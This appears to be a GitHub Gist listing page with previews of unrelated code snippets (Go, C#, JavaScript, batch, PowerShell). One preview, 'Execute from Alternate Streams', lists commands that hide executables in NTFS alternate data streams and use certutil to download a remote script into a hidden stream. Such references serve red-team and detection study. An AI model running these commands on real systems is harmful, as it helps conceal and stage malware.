Skip to content

Instantly share code, notes, and snippets.

@spddl
spddl / 1#interval.md
Last active January 5, 2021 12:30
I have X different intervals that should all run in parallel with the largest possible time interval between them.

I have X different intervals that should all run in parallel with the largest possible time interval between them.

Input:

1m, 1m

Output:

1m started now, next: 1m0s, 2m0s, 3m0s, 4m0s

@echo off
SET NODE_ENV=production
SET /A DELAY = 0
TITLE (%DELAY%) %~nx0
:loop
node "app.js"
SET /A DELAY = %DELAY% + 10
TITLE (%DELAY:~0,-1%) %~nx0
@davidair
davidair / MainForm.cs
Last active August 12, 2022 06:39
Sample for self-registering desktop C# app that creates and reacts to toasts
/**
* Copyright 2020 Google LLC.
* SPDX-License-Identifier: MIT
*/
using Microsoft.Toolkit.Uwp.Notifications;
using System;
using System.Windows.Forms;
using Windows.Data.Xml.Dom;
using Windows.UI.Notifications;
@jerblack
jerblack / PendingFileRenameOperations.go
Created December 1, 2019 18:10
GoLang: Using PendingFileRenameOperations in the Windows Registry to delete/rename files on reboot with Go.
package main
import (
"fmt"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"log"
"os"
"strings"
"syscall"
@jerblack
jerblack / Elevate when needed in Go.md
Last active May 19, 2024 09:08
Relaunch Windows Golang program with UAC elevation when admin rights needed.

I'm buiding a command line tool in Go that has an option to install itself as a service on Windows, which it needs admin rights for. I wanted to be able to have it reliably detect if it was running as admin already and if not, relaunch itself as admin. When the user runs the tool with the specific switch to trigger this functionality (-install or -uninstall in my case) they are prompted by UAC (User Account Control) to run the program as admin, which allows the tool to relaunch itself with the necessary rights.

To detect if I was admin, I tried the method described here first:
https://coolaj86.com/articles/golang-and-windows-and-admins-oh-my/
This wasn't accurately detecting that I was elevated, and was reporting that I was not elevated even when running the tool in CMD prompt started with "Run as Administrator" so I needed a more reliable method.

I didn't want to try writing to an Admin protected area of the filesystem or registry because Windows has the ability to transparently virtualize those writes

@Rich-Harris
Rich-Harris / README.md
Last active May 6, 2024 10:29
Testing array.splice vs array.pop vs set.delete

You have an array. Its sort order doesn't matter. You want to remove an item from this array.

The obvious thing to do would be to use splice:

function remove(array, item) {
  const index = array.indexOf(item);
  array.splice(index, 1);
}
@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active October 5, 2024 20:20
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@raspi
raspi / enable-all-advanced-power-settings.ps1
Last active October 17, 2024 11:30
Enable all advanced power settings in Windows.
# List all possible power config GUIDs in Windows
# Run: this-script.ps1 | Out-File powercfg.ps1
# Then edit and run powercfg.ps1
# (c) Pekka "raspi" Järvinen 2017
$powerSettingTable = Get-WmiObject -Namespace root\cimv2\power -Class Win32_PowerSetting
$powerSettingInSubgroubTable = Get-WmiObject -Namespace root\cimv2\power -Class Win32_PowerSettingInSubgroup
Get-WmiObject -Namespace root\cimv2\power -Class Win32_PowerSettingCapabilities | ForEach-Object {
$tmp = $_.ManagedElement
@MarkoCen
MarkoCen / isPromise.js
Created April 24, 2017 19:27
Check if an object is a Promise
function isPromise(object){
if(Promise && Promise.resolve){
return Promise.resolve(object) == object;
}else{
throw "Promise not supported in your environment"
}
}
var i = 1;
var p = new Promise(function(resolve,reject){
@wesbos
wesbos / async-await.js
Created February 22, 2017 14:02
Simple Async/Await Example
// 🔥 Node 7.6 has async/await! Here is a quick run down on how async/await works
const axios = require('axios'); // promised based requests - like fetch()
function getCoffee() {
return new Promise(resolve => {
setTimeout(() => resolve('☕'), 2000); // it takes 2 seconds to make coffee
});
}